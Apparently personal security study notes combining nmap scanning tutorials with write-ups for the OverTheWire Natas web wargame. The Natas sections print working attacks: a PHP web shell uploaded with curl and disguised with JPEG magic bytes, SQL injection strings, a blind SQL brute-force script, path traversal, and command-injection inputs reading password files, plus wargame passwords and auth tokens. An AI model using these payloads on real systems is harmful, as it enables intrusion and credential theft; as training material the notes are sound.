631/tcp  open  ipp     CUPS 2.3
|_http-server-header: CUPS/2.3 IPP/2.1
5989/tcp open  vnc     VNC (protocol 3.8)
MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)
Host script results:
|_ipidseq: Unknown
Nmap scan report for 10.0.2.3
Host is up (0.000060s latency).
All 1000 scanned ports on 10.0.2.3 are filtered
MAC Address: 08:00:27:78:39:A6 (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.0.2.4
Host is up (0.00038s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE      VERSION
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Microsoft Windows XP microsoft-ds
MAC Address: 08:00:27:8F:81:AA (Oracle VirtualBox virtual NIC)
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp
Host script results:
|_ipidseq: Incremental!
Nmap scan report for 10.0.2.16
Host is up (0.00051s latency).
Not shown: 999 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.7 (protocol 2.0)
MAC Address: 08:00:27:10:B8:D0 (Oracle VirtualBox virtual NIC)
Host script results:
|_ipidseq: Incremental!
Nmap scan report for 10.0.2.5
Host is up (0.0000020s latency).
All 1000 scanned ports on 10.0.2.5 are closed
Host script results:
|_ipidseq: All zeros
Nmap scan report for 10.0.2.15
Host is up (0.0000030s latency).
All 1000 scanned ports on 10.0.2.15 are closed
Host script results:
|_ipidseq: All zeros
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 256 IP addresses (7 hosts up) scanned in 24.19 seconds
```

- the addresses we can use as zombie are ***`10.0.2.16`***, ***`10.0.2.4`*** and ***`10.0.2.1`***.
- to use those ip for scanning we specify the `-sI` tag followed by the ip address.
-
- example we perform os scan using zombie address of ***`10.0.2.4`*** and target address of ***`10.0.2.16`***
  - ***`nmap -O -sI 10.0.2.4 10.0.2.16`***
- thing to note is, make sure our zombies are not behind firewall, unless we will not receive any result.
- example output if our zombie is behind firewall (our zombie is 10.0.2.16)

```txt
Idle scan zombie 10.0.2.16 (10.0.2.16) port 443 cannot be used because it has not returned any of our probes -- perhaps it is down or firewalled.
QUITTING!
```

- example output if our zombie are not behind firewall (our zombie is 10.0.2.4)

```txt
Idle scan using zombie 10.0.2.4 (10.0.2.4:443); Class: Incremental
Nmap scan report for 10.0.2.16
Host is up (0.0052s latency).
Not shown: 999 closed|filtered ports
PORT   STATE SERVICE
22/tcp open  ssh
MAC Address: 08:00:27:10:B8:D0 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2008|Vista (92%), FreeBSD 6.X (85%)
OS CPE: cpe:/o:microsoft:windows_server_2008::beta3 cpe:/o:microsoft:windows_server_2008 cpe:/o:microsoft:windows_vista::sp2 cpe:/o:freebsd:freebsd:6.2
Aggressive OS guesses: Microsoft Windows Server 2008 or 2008 Beta 3 (92%), Microsoft Windows Vista SP2 (91%), FreeBSD 6.2-RELEASE (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
```

nmap basic part 2


# Natas Online Web security training.
- my write-up for [Natas](https://overthewire.org/wargames/natas/)
## NATAS0

- Vulnerabilities here is sensitive information leak
- the answer is in the source code.
- pass: `gtVrDuiDfck831PqWsLEZy5gyDz1clto`

## NATAS1

- same as before, but disabled right click.
- we can view source using `CTRL+U`
- or `CTRL+SHIFT+C` to open dev console.
- pass: `ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi`

## NATAS2

- still sensitive information leak, but instead of on current source,
- it's is on other directory path called `files`
- we found `users.txt`

```txt
# username:password
alice:BYNdCesZqW
bob:jw2ueICLvT
charlie:G5vCxkVV3m
natas3:XXXXXXXXXXXXXXXXXXXXXXXXXX
eve:zo4mJWyNj2
mallory:9urtcpzBmH
```

## NATAS3

- here, there is nothing on the webpage itself.
- but there is a clue saying `even google cant find it`
- things that prevent google for indexing our website path is called [robots.txt](https://developers.google.com/search/docs/advanced/robots/intro).
- this simple text file prevent google search engine to index any path mentions in this text file
- by navigating to the file, we see it is disallowing indexer bot from finding folder named `/s3cr3t`.
- there we found `users.txt` and

```
natas4:XXXXXXXXXXXXXXXXXXXXXXXXXX
```

- read more on [robots.txt here](https://www.cloudflare.com/learning/bots/what-is-robots.txt/)

## NATAS4

- from here on things get more interesting,
- the webpage say something like this

![host-disallowed](host-disallowed.png).

- let open up developer console, and take a look at our request under `Network Tab`.
- what we are focusing is here at our request to view the webpage.

![req-header](req-header.png)

- seems like the webpage is checking the origin of where we come from.
- from quick google, we found out that if we change the [referer header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referer) we might be able to tell the website, we are comming from which page.

- so now we need to find a way to change our request header.
- there are few ways we can do this such as:
  - using BurpSuite
  - using postman
  - using CURL.
- I prefer to use curl, but you can try other methods.

  - to use curl, we first need to copy the Authorization token in our request header.
  - alternatively we can use the `-u` tag with the username:password of natas4

  ```
  Basic bmF0YXM0Olo5dGtSa1dtcHQ5UXI3WHJSNWpXUmtnT1U5MDFzd0Va
  ```

  - then, we can start constructing our request.
  - we use `-H` to set our authorization header to the token we coppied earlier.
  - then we use `-e` to change the referer to `http://natas5.natas.labs.overthewire.org/`
  - alternatively we can also use `-H` to set our `Referer` header.
  - the `-H` simply means to set `Headers`
  - `-b` to set cookie.
  - `-A` to set User-Agent.
  - our curl request end up looking like this.

  ```bash
  curl -H "Authorization: Basic bmF0YXM0Olo5dGtSa1dtcHQ5UXI3WHJSNWpXUmtnT1U5MDFzd0Va" -e "http://natas5.natas.labs.overthewire.org/" http://natas4.natas.labs.overthewire.org/index.php | grep natas5
  ```

  - we can also pipe it in grep to highlight the password
  - after run it, we got the webpage

  ```
  Access granted. The password for natas5 is XXXXXXXXXXXXXXXXXXXXXXXXXX
  ```

## NATAS5

- here we got Access disallowed, We are not logged in.
- there are few possibilities here, login usually associated with session.
- let's take a look at the request and cookies via our Developer console.

![loggedin](loggedin.png)

- here we can see, there is a cookie called loggedin, and are set to 0.
- let us try change it to 1.
- on dev console, go to `application` tab > `Storage` > `Cookies` > click on natas5.
- here we can see the cookies used for this website.
- simply double click the value `0` of `loggedin` to edit it.
- after edit, simply refresh the page.
- we got

```
Access granted. The password for natas6 is XXXXXXXXXXXXXXXXXXXXXXXXXX
```

## NATAS6

- here we got an input box asking for secret.
- inspecting the source code, we noticed, that the php code includes a file called `secret.inc`

```php
<?
include "includes/secret.inc";
    if(array_key_exists("submit", $_POST)) {
        if($secret == $_POST['secret']) {
        print "Access granted. The password for natas7 is <censored>";
    } else {
        print "Wrong secret";
    }
    }
?>
```

- the files is used to check the secret.
- we try to see if we have access to the `inclues/secret.inc` by navigating to it on our browser.
- and indeed we can, and the file contains secret that we can use for the input.

```php
<?
    $secret = "FOEIUWGHFEEUHOFUOIU";
?>
```

- and we got this

```
Access granted. The password for natas7 is XXXXXXXXXXXXXXXXXXXXXXXXXX
```

Natas0-6


## NATAS11

- this level is quite challenging for beginner, we need to understand php.
- we are given an input box to change background color.
- inspecting the source code, we noticed that our password is shown based on this condition

```php
<?
if($data["showpassword"] == "yes") {
    print "The password for natas12 is <censored><br>";
}
?>
```

- tracing the variable data, it come from here

```php
$data = loadData($defaultdata);
```

- it gets it value from passing defaultdata into loadData function.

```php
//default data
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
//our function
function loadData($def) {
    global $_COOKIE; //using cookie
    $mydata = $def; //asign default data to mydata
    //check if there is cookie called data.
    if(array_key_exists("data", $_COOKIE)) {
        // ---------------important part------------------
        //simply decode the cookie and assign to temptdata.
        $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
        //------------------------------------------------
        //---------less important part------------------
        //check if cookies decoded correctly
        if(is_array($tempdata) &&
            array_key_exists("showpassword", $tempdata) &&
            array_key_exists("bgcolor", $tempdata)) {
                //if so, and if bgcolor in hex format
            if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
                //asign temptdata to mydata
                $mydata['showpassword'] = $tempdata['showpassword'];
                $mydata['bgcolor'] = $tempdata['bgcolor'];
            }
        }
        // -----------------------------------------------
    }
    //return back mydata
    return $mydata; //if ! _COOKIE["data"]; then myData = defaultData
}
```

- looking at loadData, we know that our `$data` can also take value from cookie.
- we notice that the cookies is stored as the encoded string.

```php
function saveData($d) {
    setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
    // base64_encode(xor_encrypt(json_encode($d)))
    // plain-> (json->xor->base64->) encoded
}
```

- this part of code telly with the decoding part in `loadData()`

```php
$tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
//decode
// encode -> (base64->xor->json_d) -> plain
```

- so here we know that data in cookie get encoded.
- but we don't really need to decode it, we just need to set the cookie value of "showpassword" to "yes"

```php
array( "showpassword"=>"yes", "bgcolor"=>"#ffffff"); //instead of no
```

- for us to trick the page into showing the password.
- but the problem is we need to encrypt the cookie value.
- we can find the default cookie set by the page using `Dev console` > `Application` > `Storage` > `Cookies`.
- we can try encrypt the our cookie by using this script running locally on our pc.

```php
$defaultdata= array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
    $key = '<censored>';
    $text = $in;
    $outText = '';
    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }
    return $outText;
}
$encrypt = base64_encode(xor_encrypt(json_encode($defaultdata)));
echo "cookie: $encrypt";
```
- we got this
```txt
cookie: R0EWBhwYAgQXTUsMFwpRVVALCxwQQQcJEAAeChYcBkFGCBUJFAMCHEE=
```
- this is weird, we are using the same default value but, our cookie that we get from our code is not same as default cookie set by the page.
- we can try decode the dafault cookie set by the page using this script.
```php
<?php
$cookie = "ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw%3D";
function xor_encrypt($in) {
    $key = '<censored>';
    $text = $in;
    $outText = '';
    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }
    return $outText;
}
$decrypt = xor_encrypt(base64_decode($cookie));
echo "$decrypt";
// we expect => "array( "showpassword"=>"no", "bgcolor"=>"#ffffff")"
?>
```

- but the result is just rubbish value.
- so our code do not get decrypt correctly.
- if we set cookie to

```txt
R0EWBhwYAgQXTUsMFwpRVVALCxwQQQcJEAAeChYcBkFGCBUJFAMCHEE=
```

- we do get the expected value.
- the reason for this is, we are using the wrong key as being used by the page.
- so now we need to find the correct key being use to encrypt our cookie.
- we can find key by xoring `plaintext` with `cypher`.

```txt
plain xor key = encryp xor key = plain
10010011 xor 10010111 = 00000100 xor 10010111 = 10010011
plain xor encryp = key
10010011 xor 00000100 = 10010111
```

- from here we can alter our code to find the key

```php
<?php
$defaultdata= array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
$cookie = "ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw%3D";
function xor_encrypt($in) {
    // $key = '<censored>';
    global $cookie;
    $key = base64_decode($cookie);
    $text = $in;
    $outText = '';
    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }
    return $outText;
}
$key = xor_encrypt(json_encode($defaultdata));
echo "key: $key \n";
```
- running it and we got this
```txt
key: qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq
```
- from here we assume the key is `qw8J` because the value is repeated to match the lenght of the text.
- we can now use the key inside the code we previously make, change the defaultdata value to `"yes"`, to get the encoded cookie.
```txt
cookie: ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK
```
- then we simply change the cookie value in browser, and refresh the page.
- and then we get the password
```
The password for natas12 is XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
```
## NATAS12
- we got an upload form, seems like we need to exploit file upload vulnerability.
- then upload our shell to it.
- we first try to upload an empty `shell.php` file, then we got the name changed to some random string with extension of `.jpg`.
- inspecting the source code, we noticed, that there is a hidden input field that set the name before we upload
```php
<input type="hidden" name="filename" value="<? print genRandomString();?>.jpg" />
```

- we somehow need to bypass this and one of the solution is to make our own request using curl.
- to upload file using curl we can use the `-F` tags,
- this will add ***enctype="multipart/form-data***.
- don't forget to specify our Authentication token with `-H` tag.
- our curl command will look something like this.

```sh
curl \
-F 'filename=shell.php' \
-F 'uploadedfile=@./shell.php' \
-H 'Authorization: Basic bmF0YXMxMjpFRFhwMHBTMjZ3TEtIWnkxckRCUFVaazBSS2ZMR0lSMw==' \
http://natas12.natas.labs.overthewire.org/index.php
```

- let's try upload a simple php file
- content of our `shell.php` look like this

```php
<?php
echo phpinfo();
?>
```

- we noticed that our upload process is successfull and we get the `.php` extension in our response.

```html
The file <a href="upload/ekf1gg6bsz.php">upload/ekf1gg6bsz.php</a> has been
uploaded
```

- clicking on that show us a phpinfo page.
- now it's time to create a simple PHP shell.

```php
<?php
    if(isset($_GET['cmd'])){
        system($_GET['cmd']);
    }
?>
```

- after we upload it, navigate to our file and add the ***?cmd=pwd*** query.
- we noticed that we got shell execution and able to run `pwd` command.
- now just cat the password file in ***/etc/natas_webpass/natas13***
- we got the password

## NATAS13

- this one is almost the same as previous one.
- the diffrerent is, it perform check for the file type using [exif_imagetype()](https://www.php.net/manual/en/function.exif-imagetype.php).

```php
//if our file is image it return value, else it return false
// !false == true;
 else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
        echo "File is not an image";
 }
```

- based on php official docs,
  > exif_imagetype() reads the first bytes of an image and checks its signature.
- maybe one way to bypass this is to change the first bytes of our php file into image magic number.
- from quick google we know that `jpeg` magic number is `FF D8 FF E0`
- so we simply append this hex as binary into the beginning of shell2.php
```sh
echo -n -e '\xFF\xD8\xFF\xE0'$(cat shell.php) > shell2.php
```

- we can check if we successfully change file type using `file command`

```sh
file -i shell2.php
```

- we get

```txt
shell2.php: image/jpeg; charset=iso-8859-1
```

- alternatively we can check using `hexdump` or `xxd`, and look at the first bytes

```txt
00000000: ffd8 ffe0 3c3f 7068 7020 6966 2869 7373  ....<?php if(iss
00000010: 6574 2824 5f47 4554 5b27 636d 6427 5d29  et($_GET['cmd'])
00000020: 297b 2073 7973 7465 6d28 245f 4745 545b  ){ system($_GET[
00000030: 2763 6d64 275d 293b 207d 203f 3e         'cmd']); } ?>
```

- we are successfully change our file type.
- now we can just upload it using previous method in natas12.
- dont forget to change the url and Authentication header in our curl command.
- we now got our password

## NATAS14

- this one look like SQL injection, because the source code reveal alot about MYSQL.
- here are the login logic
```php
$query = "SELECT * from users where 
username=\"".$_REQUEST["username"]."\" and 
password=\"".$_REQUEST["password"]."\"";
if(array_key_exists("debug", $_GET)) {
    echo "Executing query: $query<br>";
}
if(mysql_num_rows(mysql_query($query, $link)) > 0) {
        echo "Successful login! The password for natas15 is <censored><br>";
} else {
        echo "Access denied!<br>";
}
mysql_close($link);
```
- we can see that, there is a debug option for us to see our query.
- we can meke use of it in the url ***`?debug&username=admin&password=test`***
- we can try this query to bypass password, so that the satement is true 
```php
?debug&username=admin"%20OR%201=1%20--%20"&password=test
```
- our query will look like this
```sql
SELECT * from users where username="admin" OR 1=1 -- "" and password="test"
```
- what it does is, `username=admin` OR `1=1--` and commented the rest of the code.
- now we are able to login and get the password
```
Successful login! The password for natas15 is XXXXXXXXXXXXXXXXXXXXXXXXXXX
```

## NATAS15
- here it's still sql injection, but there no sight of our password.
- if the user exist it simply echo `This user exists`.
- we got nothing from database, this is a blind sql attack.
- what we need is our password for natas16.
- what information do we have ? 
- in the source code, there is a clue of users table
```sql
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
```
- maybe our password are in that table.
- let's check if there is usernamed natas16.
- there is indeed a user called natas16

![user-exist](user-exits.png).
- now, how do we get the password ??
- in previous attack, we bypass the password check by commenting it.
- here in the code, there is no password checking.
```php
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
```
- what we can do is, we can add password checking, and bruteforce the password.
```php
$query = "SELECT * from users where username=\"". natas16" AND password LIKE BINARY " something  ."\"";
```
- `LIKE BINARY` means we guessing short
- we know that the password is `32 characters` long mix of alpha num mix capitalisation.
- let say if the password is` Wx89iopAs`
- if we gues `W` it will get correct, if we guessed `Wa` is wrong but `Wx` is right.
- so we can build up from that until we get to `32 characters long`.
- here we can create a brute script that make a request and check for words `This user exists`
- here are example script to make request.
```py
import requests
import string
#variables
#create a-zA-Z0-10 strings of characters
dicts = ''.join(string.ascii_letters+string.digits) 
dicts_filtered = ''
password = '' #buffer to store each gen password
header = {"Authorization": "Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg=="}
sqlURI = 'http://natas15.natas.labs.overthewire.org/index.php?debug'
SQLQuery = '" and password LIKE BINARY "{}{}%"#'
#filter the character in dictionary get only the exist characters
for char in dicts:
    reqData = {'username':'natas16" and password LIKE BINARY "%{}%"#'.format(char)}
    res = requests.post(sqlURI,headers=header,data=reqData)
    # print("res:",res.text)
    if 'exists' in res.text:
        dicts_filtered +=char
print('filtered:{}'.format(dicts_filtered))
#start bruteforcing using filtered 
print('Bruteforcing.....')
for i in range(0,32):
    for char in dicts_filtered:
        reqData = {'username':'natas16'+SQLQuery.format(password,char)}
        res = requests.post(sqlURI,headers=header, data=reqData)
        #print(char)
        if 'exists' in res.text :
            password +=char
            print(password)
            break
```
- in our code, the first loop we done is to filter for characters that are not exist in the password.
- we ended up with these characters that are usable `acehijmnpqtwBEHINORW03569`
- then we loop thru those characters and guess the order until it forms a 32 characters strings that are valid.
```
WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
```


Natas11-15


## NATAS7

- here we see a blank with navigation link.
- inspecting source code, we noticed that the site resolve the page via the page query. ***index.php?page***
- input ***index.php?page=home***, will yield a home page.
- but let's try input something that doesn't exits such as ***index.php?page=l33t***
- we got warning looks like this.

![warnings](warning.png)

- here the warning explain, that php code trying to include anything that we input as the query.
- it doesn't even sanities the input.
- this might results in `file traversal` attack, where we can make use of the ***include()*** method to navigate around filesystem.
- noted that we might not be able to view files, that we have no permission to look at.
- here we can manipulate the query params like this ***index.php?page=../***
- this results in page trying to include ***/var/www/natas***
- which maybe a directory one up above current page directories.
- we can try to traverse to ***/etc/passwd*** directory and we got the content of it.

```txt
root:x:0:0:root:/root:/bin/bash 
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 
bin:x:2:2:bin:/bin:/usr/sbin/nologin 
sys:x:3:3:sys:/dev:/usr/sbin/nologin 
sync:x:4:65534:sync:/bin:/bin/sync 
games:x:5:60:games:/usr/games:/usr/sbin/nologin 
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
```

- we can navigate to other path if we want, let say ***/etc/mysql/my.cnf***
- but let now try to navigate to ***/etc/natas_webpass/natas8***
- here we found our password.

```txt
DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe
```

## NATAS8

- here we see another input field that check for secret.
- inspecting the code, we see the secret but encoded.
- analysing the code, we found out that the secret are encoded via this process:
  - based64_encode() -> strrev() -> bin2hex()
- all we got to do to decode this is to reverse the encoding process.
  - hex2bin() -> strrev() -> base64_decode()
- there are multiple ways to solve this, via online tools, php function or just your linux os.
- in linux, we can manipulate hex value using ***xxd*** command.
- to manipulate base64 string we can use build in ***base64*** command.
- to reverse string we can use ***rev*** command.

### xxd

- to turn a string into a hex we can use it like this 
```bash
echo "ourString" | xxd -p
```
- `-p` options simply print it in a plain format.
- to reverse the process we use `-r`.
- let's try it on our encodedSecret.

```bash
echo 3d3d516343746d4d6d6c315669563362 | xxd -r -p
```

- we get this which looks like a base64 format but in reverse.

```txt
==QcCtmMml1ViV3b
```

### rev

- reversing a string is simple, simply run

```bash
echo "hello" | rev
```

and it will produce

```txt
olleh
```

- lets try it on our previous output.

```bash
echo ==QcCtmMml1ViV3b | rev
```

now we got the correct base64 format

```txt
b3ViV1lmMmtCcQ==
```

### base64

- to create a base64 string simply run

```bash
echo "hello" | base64
```

and we will get

```txt
aGVsbG8K
```

- to decode it we use the `-d` tag.
- lets try it on our previous output.

```bash
echo b3ViV1lmMmtCcQ== | base64 -d
```

we will get

```txt
oubWYf2kBq
```

- alternatively we can just combine all of the command in one line by piping each output to another.

```bash
echo 3d3d516343746d4d6d6c315669563362 | xxd -r -p | rev | base64 -d
```

- let's try to use this in the input field.
- and we got the password.

```
Access granted. The password for natas9 is XXXXXXXXXXXXXXXXXXXXXXXXXX
```

## NATAS9

- here we see another input that take our input as search keywords.
- future inspecting the source, we see that it use [passthru](https://www.php.net/manual/en/function.passthru.php) on our input.
- reading the docs, explain that, passthru enable us to pass os command and get the output data.
- we notice that the `passthru` function in this code, use `grep` to search for text.

```php
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}
if($key != "") {
    passthru("grep -i $key dictionary.txt");
}
?>
```

- we know that using ***grep*** command we can read content of a file.
- the webpage do not sanitize our input, thus we are able to break the code and perform `code injection` attack.
- we can alter our input to make it execute something like this

```php
//our input is:  root /etc/passwd # 
passthru("grep -i root /etc/passwd # dictionary.txt")
```

- because the code simply append our input directly into the function
- we are able to inject our own command into it. by manipulating the ways linux execute command.
- doing above example we got this output.

```txt
root:x:0:0:root:/root:/bin/bash
```

- let us now, view the content of ***/etc/natas_webpass/natas10***

```php
//our input is: '' /etc/natas_webpass/natas10 #
passthru("grep -i '' /etc/natas_webpass/natas10 # dictionary.txt")
```

- then we got the password

- alternatively we can break command like this

```php
//our input is: '' test.txt & cat /etc/natas_webpass/natas10 #
passthru("grep -i '' test.txt & cat /etc/natas_webpass/natas10 # dictionary.txt")
//or
//our input is: '' . ; cat /etc/natas_webpass/natas10 #
passthru("grep -i '' . ; cat /etc/natas_webpass/natas10 # dictionary.txt")
```

- there are multiple ways to do it.

## NATAS10

- this level is same as level9 but our input get filtered by regex.
- let us inspect the regex

```php
/[;|&]/
```

- what it does is , it check for any character inside list denoted by the `[]`
- based on it we know that it check for ***;***, ***|*** and ***&*** character. only this two.
- from our previous exploit. we don't actually use these characters.
- so we can simply run the same exploit again but change file to `natas11`
- then we got the password


Natas7-10


# nmap

- a tools to get more information about a host.
- scan for open port, or get information on a live hosts in the network.

# scanning type

## Ping Scan.

- ping is a simple ICMP (Internet Control Message Protocol) scan that send icmp packets to host,
- it send ICM echo packets then waiting for ICMP echo reply from the host.
- if there is no reply packets from the host, the host maybe block any ICMP/ping request.
- it is advisable in any recon, to first send ICMP/ping request usgin `ping` command before perfom nmap scan.
- it's just to know if the host actually alive or not blocking request.
- ping also usefull to get IP address from a hostname.

## Basic nmap scanning

- using generic 
```bash
nmap scanme.nmap.org
``` 
- will perfom a ping scan, dns reslution, to find the IP address and Stealth SYN scan to find open port.
- to get more verbose information about the scan, we can use `-v` argument.

example output:

```txt
Nmap scan report for scanme.nmap.org (45.33.32.156)
Host is up (0.24s latency).
Other addresses for scanme.nmap.org (not scanned): 2600:3c01::f03c:91ff:fe18:bb2f
Not shown: 996 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
9929/tcp  open  nping-echo
31337/tcp open  Elite

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 15.57 seconds

```

- here we can see the output, ***PORT*** number, ***STATE*** and ***SERVICE***
- port number is common port number for services, we can view list of port and service mapping by viewing the file in ***`/etc/services`***.
- here we found the ip address of ***scanme.nmap.org (45.33.32.156)***.
- let say, if we want to scan a hostname, that are only resolvable by a private dns-server, we can specify the dns server to nmap using ***`--dns-servers <dns-ips> <target-hostname>`*** argument.
  - if we want to use multiple dns-server, simply seperate the ip using commas.
  - example 
  ```bash 
    nmap --dns-servers 1.1.1.1, 8.8.8.8 victim.local.net
  ```
  - if we don't want to perform DNS resolution we can use the `-n` options.
  - let say ***`www.victim.org`*** can be resolve into multiple address, we can use ***`--resolve-all`*** options, to perform port scanning on all resolved address.
- common nmap protocol tags (this tell nmap, we want to use these protocols to probe).

```txt
-sP #ping scan
-sS #TCP SYN
-sT #TCP connect
-sU #UDP scan
-sY #SCTP INIT scan
-sZ #SCTP cookie echo
-sN #TCP NULL
-sA #TCP ACK
-sW #TCP ACK with window size
```

## Specifying port.

- to specify the port use the small `-p` following with the port number
  - example: 
  ```bash
  nmap -p 22 scanme.nmap.org
  ```
  - to specify a range, use it like this 
  ```bash
  nmap -p 22-444 scanme.nmap.org
  ```

## Versioning

- to get specific version of services, we use the `-sV` tags, for scan Version.
  - example: 
  ```bash 
  nmap -sV scanme.nmap.org
  ```
  - during this phase, we probably get a glance of out target operating system based on the service version.
  - example output

```txt
PORT      STATE    SERVICE    VERSION
22/tcp    open     ssh        OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
80/tcp    filtered http
9929/tcp  open     nping-echo Nping echo
31337/tcp open     tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

- aggressive scanning: we can increase our probe intensity using ***`--version-intensity`***, 9 is the max
  - example: 
  ```bash
  nmap -sV --version-intensity 9 scanme.nmap.org
  ```
- using the ***`-A`*** tag is a shorter version for ***`-sC -sV -O`*** to find, (-sV) version, (-O) OS and (-sC) network enumeration script scanning.
- using ***`-O`*** requires us to be a root.
- to specify our network interface use the ***`-e`***

## NSE (Nmap Scripting Engine).

- the most powefull features of nmap is their NSE, which user can write and share our own scripts.
- NSE are written in [Lua](http://www.lua.org/manual/5.3/)
- user can write various script from, Network discovery, version detection, vulnerability detection, backdoor detection, to vulnerability exoloitation.
- we can use NSE using the ***`-sC`*** or ***`--script`*** followed by our script name or category.
  - syntax : 
  ```bash 
  nmap --script <name-or-category> scname.nmap.org
  ```
  - example: 
  ```bash
  nmap -sC discovery scanme.nmap.org
  ```
   or 
   ```bash
   nmap --script discovery scname.nmap.org
   ```
  - above example will run all script in discovery category.
- location of nmap scripts are usually stored in ***`/usr/share/nmap/scripts`***

## Scripts categories.

- read more about [NSE](https://nmap.org/book/nse-usage.html)
- nmap scripts are devided into few categories which we can use by simply specify the categories name
  - `safe` - this scripts peform action that won't effect the target.
  - `intrusive` - this scripts is the opposite of safe.
  - `vuln` - this scripts categories scan for known vulnerabilities.
  - `exploit` - attempt to exploit the target vulnerabilities.
  - `auth` - perform bruteforce attack on target services.
  - `discovery` - perform service query to get future info.
  - `brodcast` - perform discovery by sending broadcast in local network.
  - `dos` - perform denial of service.

## Searching for NSE script.

few ways to search for a script.

0.  simple open file manager and direct to ***`/usr/share/nmap/scripts`*** and you will see lot of file with extension `.nse`

- you can use `ls` and basic wildcard to search for script.

  - example: ***`ls /usr/share/nmap/scripts/*ftp*`***

1. using ***`/usr/share/nmap/scripts/script.db`***.
   - we can open the file, and simply search for keyword.
   - the file is just an indexing for files in ***`/usr/share/nmap/scripts`***.
   - here are the example file content, containing the filename and categories of the script.
   ```txt
   Entry { filename = "acarsd-info.nse", categories = { "discovery", "safe", } }
   Entry { filename = "address-info.nse", categories = { "default", "safe", } }
   Entry { filename = "afp-brute.nse", categories = { "brute", "intrusive", } }
   ```
   - alternatively we can ***`grep <keyword> /usr/share/nmap/scripts/script.db `***
   - some mistake I made was using cat pipe to grep, where you can just grep without piping.

## Using the scripts

- when you found your desired script or script category you can just use like this

  - by name : ***`nmap --script smb-enum-users scanme.nmap.org`*** ; smb-enum-users is the script name
    - let say we want to use multiple script : ***`nmap --script smb-enum-users,smb-enum-shares scanme.nmap.org`*** ;
    - we just seperate the script name by commas.
  - by category: ***`nmap --script vuln scanme.nmap.org`***
    - or ***`nmap --script vuln,safe scname.nmap.org`***

- Passing arguments to our script using `--script-args`
- read more on [script argument](https://nmap.org/book/nse-usage.html#nse-args).
- script arguments follows the key='value' pair format.
  - the value is enclosed in single quotes.
  - example:
    - ***`nmap --script <scriptname> --script-args <key>='<value>' <target>`***
  - multiple argument can be seperate with commas.
  - example:
    - ***`nmap --script <scriptname> --script-args <key1>='<value>',<key2>='<value>' <target>`***

### How do we know which argument to pass ?

- to know what argument to use, one of the ways is simply read the scripts.
- most script will have a commented section, telling people how to use it.
- let say as example, we want to use ***`xmpp-brute`*** script.
- simple read it via ***`less /usr/share/nmap/scripts/xmpp-brute.nse`***

```lua
local brute = require "brute"
local coroutine = require "coroutine"
local creds = require "creds"
local shortport = require "shortport"
local stdnse = require "stdnse"
local xmpp = require "xmpp"

description = [[
Performs brute force password auditing against XMPP (Jabber) instant messaging servers.
]]

---
-- @usage
-- nmap -p 5222 --script xmpp-brute <host>
--
-- @output
-- PORT     STATE SERVICE
-- 5222/tcp open  xmpp-client
-- | xmpp-brute:
-- |   Accounts
-- |     CampbellJ:arthur321 - Valid credentials
-- |     CampbellA:joan123 - Valid credentials
-- |     WalkerA:auggie123 - Valid credentials
-- |   Statistics
-- |_    Performed 6237 guesses in 5 seconds, average tps: 1247
--
-- @args xmpp-brute.auth authentication mechanism to use LOGIN, PLAIN, CRAM-MD5
--                       or DIGEST-MD5
-- @args xmpp-brute.servername needed when host name cannot be automatically
--                             determined (eg. when running against an IP,
--                             instead of hostname)
--

-- Version 0.1
-- Created 07/21/2011 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>


author = "Patrik Karlsson"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"brute", "intrusive"}
